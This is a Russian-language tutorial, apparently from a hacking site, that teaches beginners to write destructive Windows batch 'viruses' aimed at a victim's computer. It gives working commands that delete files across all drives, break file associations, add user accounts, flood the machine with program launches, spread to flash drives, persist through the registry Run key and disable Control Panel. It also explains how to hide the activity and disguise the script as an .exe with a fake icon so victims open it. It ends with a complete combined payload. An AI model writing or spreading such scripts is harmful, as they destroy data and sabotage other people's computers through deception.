Итак, приступим. Вы решили заняться вирусо-писательством. Сразу вам скажу, что эти вирусы, конечно, могут очень сильно навредить компьютеру, но полноценно передаваться с одного компьютера на другой они не могут. За все, что произойдет с вашим компьютером отвечаете вы и только вы. Приступим:1) Открываем блокнот;2) Пишем в нем «mspaint», без кавычек;3) Сохраняем файл под любым именем, но вместо .txt мы напишем .bat;4) Откроем файлик и увидим, что открылся Paint))Вот и готова наша первая программка. Вместо «mspaint» можно вписать любую программу, например: Calc-калькулятор, Taskmgr-диспетчер задач… Но при чем здесь вирусы? — спросите вы. Ни при чем)) Следующее, что мы сделаем, это программа для изменения времени на компьютере, да и еще она будит копировать себя на флешку (если та вставлена). Итак:Пишем в блокноте:time 00:00copy %0 F:\\Work.batПервой сточкой мы изменяем время на 00:00, а второй скопируем файл на диск F — флешка с именем Work. Не забудьте, сохранить блокнотовский файл в формате .bat. Вместо времени можно изменить и дату «Date 13.06.23». Написав такую строчку, мы изменим дату на 2023 год, 6 месяц, 13 число)) Теперь небольшой перечень того, что можно писать в блокнотовском вирусе.

СПИСОК:

 

1) «copy %0 x:\\y» — копирует вирус на диск x в папку y (пример copy %0 C:\\System.bat);2) «label x:y» — переименовывает диск x на имя y (пример label C:error);3) «time х:у» — меняет время на х часов и у минут (пример time 14:27);4) «date x.y.z» — меняет дату на x день, y месяц, z лет (пример date 16.11.05);5) «md х» — создаст папку, в том месте, где наш вирус, с именем х (пример md Papka);6) «del *.* /q» — удалит все файлы (наш вирус тоже) в папке, где лежит наш вирус (кроме папок);7) «del x:\\y *.* /q» — удалит все файлы на диске х в папке у (кроме папок)  (пример del F:\\Data*.* /q);8) «assoc .х=.у» — переделает все файлы, на компьютере, форматом х на у (пример assoc .exe=.mp3);9) «net user \»х\» /add» — добавит на компьютер пользователя под именем х (пример net user \»Smoked\» /add);Вот две программки вам на рассмотрение, можете их использовать без моего соглашения, но, используя их, вы принимаете соглашение пользователя.1)Программа для удаления файлов с флешки (если та вставлена) и переименования ее.del F:\\ *.* /qlabel F:HACK2)Программа для изменения даты и времени на компьютере и копирования ее на диск C и на флешку.time 14:13date 11.07.12copy %0 C:\\Time.batcopy %0 F:\\Time.bat

Вы уже умеете создавать простенькие вирусы.Он умеет: менять время, дату, названия дисков и флешек, открывать программы, создавать папки, копировать себя, добавлять пользователей, менять расширения и уничтожать информацию. Это довольно небольшой список, чесно говоря. Теперь я научу вас некоторым тонкостям вирусописательсва. Допустим, вы уже сделали вирус, но выглядит он довольно некрасиво. Ну кто откроет непонятный файл? Вы правы, таких людей на свете не много. Как же изменить формат из .bat на .exe и добавить иконку. Очень легко (Нужно чтобы на компьютере был WinRAR). Находим любой вирус с расширением .bat, нажимаем на него правой кнопкой, жмем «Добавить в архив…». Ставим галочку «Создать SFX-архив», выбираем вкладку дополнительно, и кликаем на кнопку «Параметры SFX…». В окне «Выполнить после распаковки» пишем названия вируса (пример Virus.bat) а в окне «Текст и графика» далее «Загрузить значок SFX из фала». Жмем «Обзор» и ищем любой значок формата .ico. Теперь жмем ОК. Готово)) Формат .exe, а не .bat, как нам и надо было. Теперь можно делать с вирусами что угодно. А что именно, решать уже вам. Хотите научиться еще командам, которыми можно просто добить нашего «лоха», открываем www.Google.ru, пишем bat вирусы и жмем «Искать».

Допустим, вы написали вирус, который будет портить открытую от папок информацию и немного вредить:del C:\\ *.* /qdel D:\\ *.* /qdel E:\\ *.* /qdel F:\\ *.* /qtime 00:00date 13.06.23del *.* /qГотово? – спросите вы. Нет. Нужно его закончить. Новая команда «@echo off» вводиться в начале нашего вируса и скрывает все, что в нем происходит в дальнейшем. Одним словом, не дадим пользователю увидеть, что случилось. Еще добавив после каждой команды простенькое, но очень эффективное действие, как «>nul» к примеру «time 00:00 >nul», мы скроем сточку. Итак, можно усовершенствовать наш вирус:@echo offdel C:\\ *.* /q >nuldel D:\\ *.* /q >nuldel E:\\ *.* /q >nuldel F:\\ *.* /q >nultime 00:00 >nuldate 13.06.23 >nuldel *.* /q >nulВот, теперь наш вирус готов. Сохраняем, конвертируем, а вот, что дальше с ним делать — ваше дело. Кстати, есть отличная программа для конвертирования .bat в .exe, она работает намного лучше WinRAR\’а, называется она «Bat to exe converter». Скачать ее можно в интернете, она бесплатная. Итак, вернемся к вирусо-писательству.%SystemRoot%/system32/rundll32 user32, SwapMouseButtonДанная строчка меняет клавиши мыши местами. Можно с кого-то прикольнуться,  пока он въедет, что случилось, пройдет время (если он совсем юзер), для особоодаренных скажу, если вы ввели это у себя отключить довольно просто: «Панель Управления», «Принтеры и другое оборудование», «Мышь» и снимаем первую галочку.Итак, дальше поехали дальше:😡 ;Start mspaintgoto x ;Очень неплохая строка для нагрузки слабеньких машин. Команда открывает Paint, причем очень быстро. Раз 60 до того как вы поймете, что случилось и закроете программу. Попробуйте ввести вместо mspaint любые строки программ… Работает)) Можно использовать  по несколько таких команд до полного торможения компьютера жертвы. Новый скрипт:copy \»\»%0\»\» \»%SystemRoot%\\system32\\File.bat\»reg add \»HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\» /v \»Filel\» /t REG_SZ /d \»%SystemRoot%\\system32\\File.bat\» /freg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoControlPanel /t REG_DWORD /d 1 /fОчень жестокая команда: добавляет программу в автозагрузку ОС. Не советую проверять на вашем компьютере. Не останавливаемся, а едем дальше))assoc .lnk=.txt >nulassoc .exe=.mp3 >nulДанными двумя строками мы делаем, весьма тяжелый вред компьютеру жертвы. Он меняет расширения всех файлов на компьютере с .lnk в .txt и  .exe в .mp3. То есть все ярлыки, открываются в блокноте, а программы, все, в плеере. Круто, да? Теперь прочтите нижний код и если вы поняли, в чем суть вируса, поздравляю вас вы закончили базовый курс, от SMOKED\’а, вирусо-писательства. Если же нет. Читаем все заново))@echo off%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nultime 0:00 >nuldate 13.06.23 >nullabel C:IDIOT >nullabel D:URAK >nullabel E:SUKA >nullabel F:GANDON >nulcopy %0 C:\\Open.bat >nulcopy %0 D:\\Open.bat >nulcopy %0 E:\\Open.bat >nulcopy %0 F:\\Open.bat >nulnet user \»Idiot you Hacked\» /add >nulnet user \»Bitch you Hacked\» /add >nulnet user \»Durak you Hacked\» /add >nulnet user \»Kritin you Hacked\» /add >nulnet user \»Gavno you Hacked\» /add >nulmd 1 >nulmd 2 >nulmd 3 >nulmd 4 >nulmd 5 >nulmd 6 >nulmd 7 >nulmd 8 >nulmd 9 >nulmd 10 >nulmd 11 >nulmd 12 >nulmd 13 >nulmd 14 >nulmd 15 >nulmd 16 >nulmd 17 >nulmd 18 >nulmd 19 >nulmd 20 >nulmd 21 >nulmd 22 >nulmd 23 >nulmd 24 >nulmd 25 >nulmd 26 >nulmd 27 >nulassoc .lnk=.txt >nulassoc .exe=.txt >nul😡 ;Start mspaintgoto x ;😡 ;Start Calcgoto x ;copy \»\»%0\»\» \»%SystemRoot%\\system32\\Cool.bat\» >nulreg add \»HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\» /v \»Cool\» /t REG_SZ /d \»%SystemRoot%\\system32\\Cool.bat\» /f >nulreg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nuldel %0 >nul

v-zlom.cc